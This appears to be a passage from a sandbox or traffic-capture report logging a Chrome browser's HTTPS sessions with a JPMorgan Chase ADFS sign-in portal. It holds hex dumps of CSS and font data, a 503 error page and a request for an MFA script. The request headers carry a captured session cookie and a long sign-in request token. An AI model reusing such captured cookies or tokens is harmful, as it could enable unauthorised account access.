2025-01-10 18:06:10 UTC	5840	IN	Data Raw: 6f 6e 64 2d 66 61 63 74 6f 72 20 68 33 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 72 65 6d 3b 0a 7d 0a 0a 73 6d 61 6c 6c 2c 0a 2e 73 6d 61 6c 6c 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 30 25 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 7d 0a 0a 2e 6c 69 73 74 2d 75 6e 73 74 79 6c 65 64 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6c 69 73 74 2d 69 6e 6c 69 6e 65 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 20 7b 0a 20 20 20 20 64 69 73 Data Ascii: ond-factor h3 { font-size: 1.75rem;}small,.small { font-size: 80%; font-weight: 400;}.list-unstyled { padding-left: 0; list-style: none;}.list-inline { padding-left: 0; list-style: none;}.list-inline-item { dis
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 20 20 20 20 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 20 3e 20 74 64 2c 0a 20 20 20 20 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 20 3e 20 74 68 20 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 63 39 63 39 63 39 3b 0a 20 20 20 20 7d 0a 0a 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 2c 0a 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 20 3e 20 74 68 2c 0a 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 20 3e 20 74 64 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 64 64 36 62 62 3b 0a 7d 0a 0a 20 20 20 20 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 20 74 68 2c 0a 20 20 20 20 Data Ascii: .table-hover .table-secondary:hover > td, .table-hover .table-secondary:hover > th { background-color: #c9c9c9; }.table-success,.table-success > th,.table-success > td { background-color: #bdd6bb;} .table-success th,
2025-01-10 18:06:10 UTC	7199	IN	Data Raw: 67 68 74 3a 20 30 2e 33 31 32 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 7d 0a 0a 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 20 77 72 61 70 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 20 20 20 20 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 7d 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 37 36 70 78 29 20 7b 0a 20 20 20 20 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 6c 61 62 65 6c 20 7b 0a 20 20 20 20 20 20 20 20 64 Data Ascii: ght: 0.3125rem; margin-left: 0; }.form-inline { display: flex; flex-flow: row wrap; align-items: center;} .form-inline .form-check { width: 100%; }@media (min-width: 576px) { .form-inline label { d
2025-01-10 18:06:10 UTC	5840	IN	Data Raw: 74 3a 3a 62 65 66 6f 72 65 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 30 3b 0a 7d 0a 0a 2e 62 74 6e 2d 73 6d 20 2b 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2d 73 70 6c 69 74 2c 0a 2e 62 74 6e 2d 67 72 6f 75 70 2d 73 6d 20 3e 20 2e 62 74 6e 20 2b 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2d 73 70 6c 69 74 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 2e 33 37 35 72 65 6d 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 2e 33 37 35 72 65 6d 3b 0a 7d 0a 0a 2e 62 74 6e 2d 6c 67 20 2b 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2d 73 70 6c 69 74 2c 0a 2e 62 74 6e 2d 67 72 6f 75 70 2d 6c 67 20 3e 20 2e 62 74 6e 20 2b 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2d 73 70 6c Data Ascii: t::before { margin-right: 0;}.btn-sm + .dropdown-toggle-split,.btn-group-sm > .btn + .dropdown-toggle-split { padding-right: 0.375rem; padding-left: 0.375rem;}.btn-lg + .dropdown-toggle-split,.btn-group-lg > .btn + .dropdown-toggle-spl
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 75 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2d 73 6d 20 3e 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 3a 6c 61 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2d 73 6d 20 3e 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 61 63 74 69 76 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 69 73 74 Data Ascii: up-horizontal-sm > .list-group-item:last-child { border-top-right-radius: 0; border-bottom-left-radius: 0; } .list-group-horizontal-sm > .list-group-item.active { margin-top: 0; } .list
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 64 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 37 36 70 78 29 20 7b 0a 20 20 20 20 2e 64 2d 73 6d 2d 6e 6f 6e 65 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 2d 73 6d 2d 69 6e 6c 69 6e 65 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 2d 73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: display: flex !important;}.d-inline-flex { display: inline-flex !important;}@media (min-width: 576px) { .d-sm-none { display: none !important; } .d-sm-inline { display: inline !important; } .d-sm-inline-blo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49806	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:11 UTC	813	OUT	GET /adfs/portal/css/OpenSans-VariableFont_wdth,wght.css HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://idag2.jpmorganchase.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://idag2.jpmorganchase.com/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:12 UTC	258	IN	HTTP/1.1 200 OK Content-Length: 529700 Content-Type: text/css Expires: Sun, 09 Feb 2025 18:06:11 GMT ETag: 13744BBC079F0F492E4FB3B14A15D242B8D9600FAACD423D58CDF937FEA7CE6B Date: Fri, 10 Jan 2025 18:06:11 GMT Vary: Accept-Encoding Connection: close
2025-01-10 18:06:12 UTC	2614	IN	Data Raw: 00 01 00 00 00 17 01 00 00 04 00 70 47 44 45 46 31 97 76 b2 00 00 6b ec 00 00 1e 7b 47 50 4f 53 57 a1 a9 2d 00 00 b1 d4 00 00 63 f6 47 53 55 42 13 63 1f 65 00 00 1e 88 00 00 0f 06 48 56 41 52 31 38 2b e9 00 00 4e f4 00 00 1c f8 4f 53 2f 32 96 40 83 2c 00 00 02 4c 00 00 00 60 53 54 41 54 6d b3 ca a5 00 00 02 ac 00 00 00 c0 61 76 61 72 3d 0a 50 05 00 00 01 e8 00 00 00 2c 63 6d 61 70 c3 38 1f 80 00 00 07 cc 00 00 03 f6 63 76 61 72 51 07 a6 10 00 00 01 8c 00 00 00 15 63 76 74 20 3d 3f 2c c8 00 00 04 30 00 00 00 fc 66 70 67 6d e2 19 9e 5a 00 00 2d 90 00 00 0f 94 66 76 61 72 0d 08 f6 24 00 00 03 6c 00 00 00 c4 67 61 73 70 00 15 00 23 00 00 01 7c 00 00 00 10 67 6c 79 66 cd b8 48 01 00 01 15 cc 00 01 4f 2a 67 76 61 72 65 8c 3e 0b 00 02 64 f8 00 05 b0 2c 68 65 61 Data Ascii: pGDEF1vk{GPOSW-cGSUBceHVAR18+NOS/2@,L`STATmavar=P,cmap8cvarQcvt =?,0fpgmZ-fvar$lgasp#\|glyfHO*gvare>d,hea
2025-01-10 18:06:12 UTC	1527	IN	Data Raw: e1 da e1 d9 e1 d2 e3 07 00 00 00 00 e3 d9 e3 e0 00 00 e3 2c e1 75 e1 73 00 00 e1 17 e1 0a e1 08 e3 4e e0 fd e0 fa e0 f3 e0 c7 e0 24 e0 21 e0 19 e0 18 e2 57 e0 11 e0 0e e0 02 df e6 df cf df cc dc 68 00 00 58 5f 08 8a 08 ba 08 b9 08 b8 08 b7 08 b6 08 b5 03 48 02 4c 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 00 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 00 88 00 00 00 00 00 8a 00 00 00 00 00 00 00 88 00 00 00 00 00 Data Ascii: ,usN$!WhX_HL\|
2025-01-10 18:06:12 UTC	1369	IN	Data Raw: 8a 53 aa 53 b3 53 d2 54 05 54 45 54 60 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 54 b9 55 a5 55 f9 56 0b 56 13 56 90 56 ce 57 30 57 42 57 54 57 60 57 75 57 a3 57 f8 58 47 58 88 58 d1 59 00 59 12 59 24 59 36 59 48 59 a3 59 fa 5a 3a 5a 7a 5a cf 5b 1f 5b 5f 5b 9d 5b ef 5c 3d 5c 8c 5c da 5d 3d 5d 9e 5e 3a 5e d6 5e de 5e e6 5f 31 5f 75 5f b4 5f f1 60 04 60 17 60 90 60 9c 61 07 61 6a 62 23 62 d0 62 e2 62 f4 63 32 63 6c 63 9f 64 54 64 e4 65 39 65 8c 65 cc 66 0d 66 5e 66 c8 66 f1 67 1a 67 64 67 a9 67 ea 68 2b 68 37 68 43 68 73 68 a3 68 d5 69 07 69 36 69 6f 69 9a 69 c5 69 f2 6a 1f 6a 48 6a 71 6a c0 6b 09 6b 90 6c 0b 6c 17 6c 23 6c 47 6c 6a 6c 72 6c 9f 6c d3 6d 0d 6d 43 6d 79 6d a6 6d d5 6e 0d 6e 42 6e 89 6e cf 6e ff 6f 07 6f 66 Data Ascii: SSSTTET`TTTTTTTTTTTTTTUUVVVVW0WBWTW`WuWWXGXXYYY$Y6YHYYZ:ZzZ[[_[[\=\\]=]^:^^^_1_u__````aajb#bbbc2clcdTde9eeff^ffggdggh+h7hChshhii6ioiiijjHjqjkklll#lGljlrllmmCmymmnnBnnnoof
2025-01-10 18:06:12 UTC	2896	IN	Data Raw: 04 09 01 01 00 0a 03 2a 00 03 00 01 04 09 01 03 00 0a 03 20 00 03 00 01 04 09 01 04 00 0e 06 f4 00 03 00 01 04 09 01 05 00 10 03 10 00 03 00 01 04 09 01 06 00 08 03 08 00 03 00 01 04 09 01 07 00 12 02 f6 00 03 00 01 04 09 01 09 00 1e 02 d8 00 03 00 01 04 09 01 0a 00 22 02 b6 00 03 00 01 04 09 01 0b 00 24 02 92 00 03 00 01 04 09 01 0c 00 1c 02 76 00 03 00 01 04 09 01 0d 00 26 02 50 00 03 00 01 04 09 01 0e 00 26 02 2a 00 03 00 01 04 09 01 0f 00 2a 02 00 00 03 00 01 04 09 01 10 00 2c 01 d4 00 03 00 01 04 09 01 11 00 24 01 b0 00 03 00 01 04 09 01 12 00 2e 01 82 00 03 00 01 04 09 01 13 00 38 01 4a 00 03 00 01 04 09 01 14 00 3c 01 0e 00 03 00 01 04 09 01 15 00 3e 00 d0 00 03 00 01 04 09 01 16 00 36 00 9a 00 03 00 01 04 09 01 17 00 40 00 5a 00 03 00 01 04 09 01 Data Ascii: * "$v&P&**,$.8J<>6@Z
2025-01-10 18:06:12 UTC	4344	IN	Data Raw: 00 15 00 16 00 17 00 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 00 ff ff 00 14 00 00 00 01 00 06 00 07 00 08 00 09 00 0e 00 13 00 14 00 15 00 16 00 17 00 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 04 00 00 00 00 ff ff 00 13 00 00 00 01 00 06 00 07 00 08 00 09 00 13 00 14 00 15 00 16 00 17 00 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 20 61 61 6c 74 01 96 63 63 6d 70 01 8e 63 63 6d 70 01 7e 63 63 6d 70 01 74 63 63 6d 70 01 6a 63 63 6d 70 01 5e 64 6e 6f 6d 01 58 66 72 61 63 01 4e 6c 69 67 61 01 48 6c 6e 75 6d 01 42 6c 6f 63 6c 01 3c 6c 6f 63 6c 01 36 6c 6f 63 6c 01 30 6c 6f 63 6c 01 2a 6c 6f 63 6c 01 24 6c 6f 63 6c 01 1e 6c 6f 63 6c 01 18 6c 6f 63 6c 01 12 6c 6f 63 6c 01 0c 6e 75 6d 72 01 06 6f 6e 75 6d 01 00 6f 72 64 6e 00 fa 70 6e 75 6d 00 Data Ascii: aaltccmpccmp~ccmptccmpjccmp^dnomXfracNligaHlnumBlocl<locl6locl0locl*locl$loclloclloclloclnumronumordnpnum
2025-01-10 18:06:12 UTC	1448	IN	Data Raw: 04 23 42 1b b1 04 00 42 21 21 59 18 01 2d 2c 20 45 b1 00 4e 2b 44 2d 2c 4b 51 b1 40 4f 2b 50 5b 58 20 45 b1 01 4e 2b 20 8a 8a 44 20 b1 40 04 26 61 63 61 b1 01 4e 2b 44 21 1b 23 21 8a 45 b1 01 4e 2b 20 8a 23 44 44 59 2d 2c 4b 51 b1 40 4f 2b 50 5b 58 45 20 8a b0 40 61 63 60 1b 23 21 45 59 b1 01 4e 2b 44 2d 2c 23 45 20 8a 45 23 61 20 64 b0 40 51 b0 04 25 20 b0 00 53 23 b0 40 51 5a 5a b1 40 4f 2b 54 5a 58 8a 0c 64 23 64 23 53 58 b1 40 40 8a 61 20 63 61 1b 20 63 59 1b 8a 59 63 b1 02 4e 2b 60 44 2d 2c 01 2d 2c 00 2d 2c 05 b1 0b 0a 43 23 43 65 0a 2d 2c b1 0a 0b 43 23 43 0b 02 2d 2c b0 02 25 63 66 b0 02 25 b8 20 00 62 60 23 62 2d 2c b0 02 25 63 b0 20 60 66 b0 02 25 b8 20 00 62 60 23 62 2d 2c b0 02 25 63 67 b0 02 25 b8 20 00 62 60 23 62 2d 2c b0 02 25 63 66 b0 20 Data Ascii: #BB!!Y-, EN+D-,KQ@O+P[X EN+ D @&acaN+D!#!EN+ #DDY-,KQ@O+P[XE @ac`#!EYN+D-,#E E#a d@Q% S#@QZZ@O+TZXd#d#SX@@a ca cYYcN+`D-,-,-,C#Ce-,C#C-,%cf% b`#b-,%c `f% b`#b-,%cg% b`#b-,%cf
2025-01-10 18:06:12 UTC	5840	IN	Data Raw: 02 23 48 01 20 b0 01 23 48 b0 02 23 48 23 b2 02 00 01 08 23 38 b2 02 00 01 09 23 38 b1 02 01 07 b0 01 16 59 2d 2c 23 10 0d 0c 8a 63 23 8a 63 60 64 b9 40 00 04 00 63 50 58 b0 00 38 1b 3c 59 2d 2c b0 06 25 b0 09 25 b0 09 25 b0 07 26 b0 76 2b 23 b0 00 54 58 05 1b 04 59 b0 04 25 b0 06 26 b0 77 2b b0 05 25 b0 05 26 b0 05 25 b0 05 26 b0 76 2b b0 00 54 58 05 1b 04 59 b0 77 2b 2d 2c b0 07 25 b0 0a 25 b0 0a 25 b0 08 26 b0 76 2b 8a b0 00 54 58 05 1b 04 59 b0 05 25 b0 07 26 b0 77 2b b0 06 25 b0 06 26 b0 06 25 b0 06 26 b0 76 2b 08 b0 77 2b 2d 2c b0 07 25 b0 0a 25 b0 0a 25 b0 08 26 b0 76 2b 8a 8a 08 b0 04 25 b0 06 26 b0 77 2b b0 05 25 b0 05 26 b0 05 25 b0 05 26 b0 76 2b b0 00 54 58 05 1b 04 59 b0 77 2b 2d 2c b0 08 25 b0 0b 25 b0 0b 25 b0 09 26 b0 76 2b b0 04 26 b0 04 Data Ascii: #H #H#H##8#8Y-,#c#c`d@cPX8<Y-,%%%&v+#TXY%&w+%&%&v+TXYw+-,%%%&v+TXY%&w+%&%&v+w+-,%%%&v+%&w+%&%&v+TXYw+-,%%%&v+&
2025-01-10 18:06:12 UTC	7211	IN	Data Raw: 00 2e 04 7b 00 79 04 99 00 76 04 38 00 21 04 93 00 67 04 99 00 62 04 93 00 67 04 5c 00 48 04 5c 00 97 04 5c 00 5f 04 5c 00 4b 04 5c 00 07 04 5c 00 60 04 5c 00 54 04 5c 00 42 04 5c 00 4c 04 5c 00 46 02 c8 00 29 02 c8 00 4c 02 c8 00 32 02 c8 00 25 02 c8 00 15 02 c8 00 3e 02 c8 00 29 02 c8 00 3a 02 c8 00 34 02 c8 00 23 02 93 00 52 01 cb 00 50 01 cb 00 50 01 cb 00 3d 01 cb 00 3d 02 ad 00 48 02 ad 00 48 02 ad 00 48 02 ad 00 48 02 ef 00 15 06 48 00 ae 06 6e 00 71 02 05 00 af 02 05 ff 90 04 00 01 74 02 05 00 33 00 a4 00 00 00 01 00 00 00 00 08 fe 00 00 00 14 00 00 00 00 00 00 00 00 00 16 04 73 01 00 00 00 01 80 01 80 05 83 0a 84 14 03 09 03 11 83 12 01 08 01 08 0d 08 0d 09 80 06 05 05 80 01 02 05 81 08 09 06 04 06 04 06 04 06 04 06 04 06 04 06 04 06 04 06 04 06 Data Ascii: .{yv8!gbg\H\\_\K\\`\T\B\L\F)L2%>):4#RPP==HHHHHnqt3s
2025-01-10 18:06:12 UTC	5715	IN	Data Raw: 00 00 01 00 02 00 05 00 06 fe bd ce 0b 20 52 72 00 01 00 02 00 04 00 03 00 06 00 04 00 05 ff 72 00 84 ce 55 00 06 00 01 00 05 00 06 00 02 00 03 00 04 00 05 ff 6e c5 ae 0b 81 ff 6d c5 af 10 80 ff 6d e7 83 08 95 00 91 f4 29 d1 56 ff 3a fc af 0c 84 ff 49 02 c2 2b 8e 00 02 00 01 00 05 00 03 00 02 00 04 00 05 00 06 fe 94 e8 bc 2f 5b ff 7d f3 f8 fb 02 00 01 00 00 00 06 00 00 00 02 00 03 00 04 00 05 00 06 fe f4 d8 0f f3 f9 00 02 00 00 00 06 00 00 00 01 00 02 00 03 00 05 00 06 ce 2e 36 ae 1e 3f fe 02 02 e3 d3 b9 00 01 00 00 00 06 00 00 00 01 00 02 00 03 00 04 00 06 d9 3b 5e 02 f8 fe 00 01 00 01 00 04 00 03 00 04 00 05 00 06 ff 68 03 f3 ec 00 06 00 00 00 05 00 02 00 03 00 04 00 05 00 06 db f7 05 ee 09 f8 83 15 cf bb f8 9c f4 42 73 f8 9d e7 57 4c f8 d9 26 b2 8d 21 Data Ascii: RrrUnmm)V:I+/[}.6?;^hBsWL&!
2025-01-10 18:06:12 UTC	2920	IN	Data Raw: 1b 2c d4 f8 1c 2c f4 1b 2c d5 f4 21 33 f4 1b 2c ef ff 0b 11 f4 1b 3f 1d 02 f3 d7 f4 1b 3f 1d 03 f3 d7 f4 51 72 87 f0 e0 db f6 06 0a f1 d5 0d 0d f6 13 48 2c fb 36 2e f6 17 17 c3 ff ff ff f6 17 2b c3 ff 14 0a f6 23 18 12 fe 06 10 f6 2f 48 86 e7 04 07 f6 2f 48 88 f0 02 05 f6 3e 48 89 f1 f2 04 f7 02 0a fb 04 07 05 f7 16 25 03 fd ff fd f8 02 0e f8 e1 0e 08 f8 0e 35 26 f4 3e 46 f8 16 16 c8 fa fb fb f8 16 2f 13 fc 1a 1e f8 1b f8 0e 10 c7 d9 f8 1d 2f e0 e9 15 20 f8 1d 2f e1 ec 14 1f f8 1d 2f e2 f1 13 1e f8 1d 2f e4 fb 11 1c f9 01 01 f1 02 09 0f f9 13 06 ec f5 ff 14 fa 01 01 f1 01 09 0f fa 15 23 fc 04 f3 fb fa 15 23 fd 01 fe fc fa 15 23 fd 01 fe fd fa 15 24 01 fb fa ff fa 15 2e 13 fc 1a 1e fa 28 28 96 e8 02 10 fa 2a 47 ee f0 0e 12 fb dc f3 bb 04 22 09 fb 0e 35 26 Data Ascii: ,,,!3,??QrH,6.+#/H/H>H%5&>F// ///###$.((*G"5&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49807	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:11 UTC	1958	OUT	GET /adfs/fs/federationserverservice.asmx HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:11 UTC	198	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Date: Fri, 10 Jan 2025 18:06:11 GMT X-Cnection: close Content-Length: 326 Vary: Accept-Encoding Connection: close
2025-01-10 18:06:11 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49805	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:11 UTC	1957	OUT	GET /adfs/portal/script/mfaotpsms.js HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: 